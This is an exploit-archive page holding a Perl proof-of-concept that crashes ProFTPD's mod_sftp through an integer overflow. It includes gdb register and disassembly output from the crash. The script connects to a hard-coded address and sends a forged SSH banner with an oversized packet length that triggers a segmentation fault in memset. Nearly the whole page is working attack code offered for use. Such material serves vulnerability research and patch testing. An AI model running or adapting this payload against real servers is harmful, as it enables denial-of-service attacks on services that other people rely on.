ProFTPd – ‘mod_sftp’ Integer Overflow Denial of Service (PoC)
#ProFTPD mod_sftp Integer Overflow #by Kingcope #reference: http://www.castaglia.org/proftpd/modules/mod_sftp.html # Exploit Title: ProFTPD mod_sftp Integer Overflow # Date: 7 February 2011 # Author: Kingcope # Software Link: http://www.castaglia.org/proftpd/modules/mod_sftp.html # Tested on: Centos 5.5 #Program received signal SIGSEGV, Segmentation fault. #0x00391577 in memset () from /lib/libc.so.6 #(gdb) i r #eax 0x0 0 #ecx 0x203fffef 541065199 #edx 0x1 1 #ebx 0x80ffffbd -2130706499 #esp 0xbfcfd088 0xbfcfd088 #ebp 0xbfcfd0a8 0xbfcfd0a8 #esi 0x0 0 #edi 0x0 0 #eip 0x391577 0x391577 <memset+55> #eflags 0x210202 [ IF RF ID ] #cs 0x73 115 #ss 0x7b 123 #ds 0x7b 123 #es 0x7b 123 #fs 0x0 0 #gs 0x33 51 #(gdb) x/10i $eip #0x391577 <memset+55>: rep stos %eax,%es:(%edi) #0x391579 <memset+57>: mov %edx,%ecx #0x39157b <memset+59>: rep stos %al,%es:(%edi) #0x39157d <memset+61>: mov 0x8(%esp),%eax #0x391581 <memset+65>: pop %edi #0x391582 <memset+66>: ret #0x391583: nop #0x391584: nop #0x391585: nop #0x391586: nop use IO::Socket; $|=1; $pl = "\x53\x53\x48\x2D\x32\x2E\x30\x2D\x31\x2E\x32\x37\x20\x73\x73\x68\x6C\x69\x62\x3A\x20\x57\x69\x6E\x53\x53". "\x48\x44\x20\x33\x2E\x30\x35\x0D\x0A\x80\xff\xff\xff" . "AAAAAAAAAA"; my $sock = IO::Socket::INET->new(PeerAddr => "192.168.2.5", PeerPort => '21', Proto => 'tcp'); read($sock, $xp, 10); #$x = <stdin>; print $sock $pl; exit; |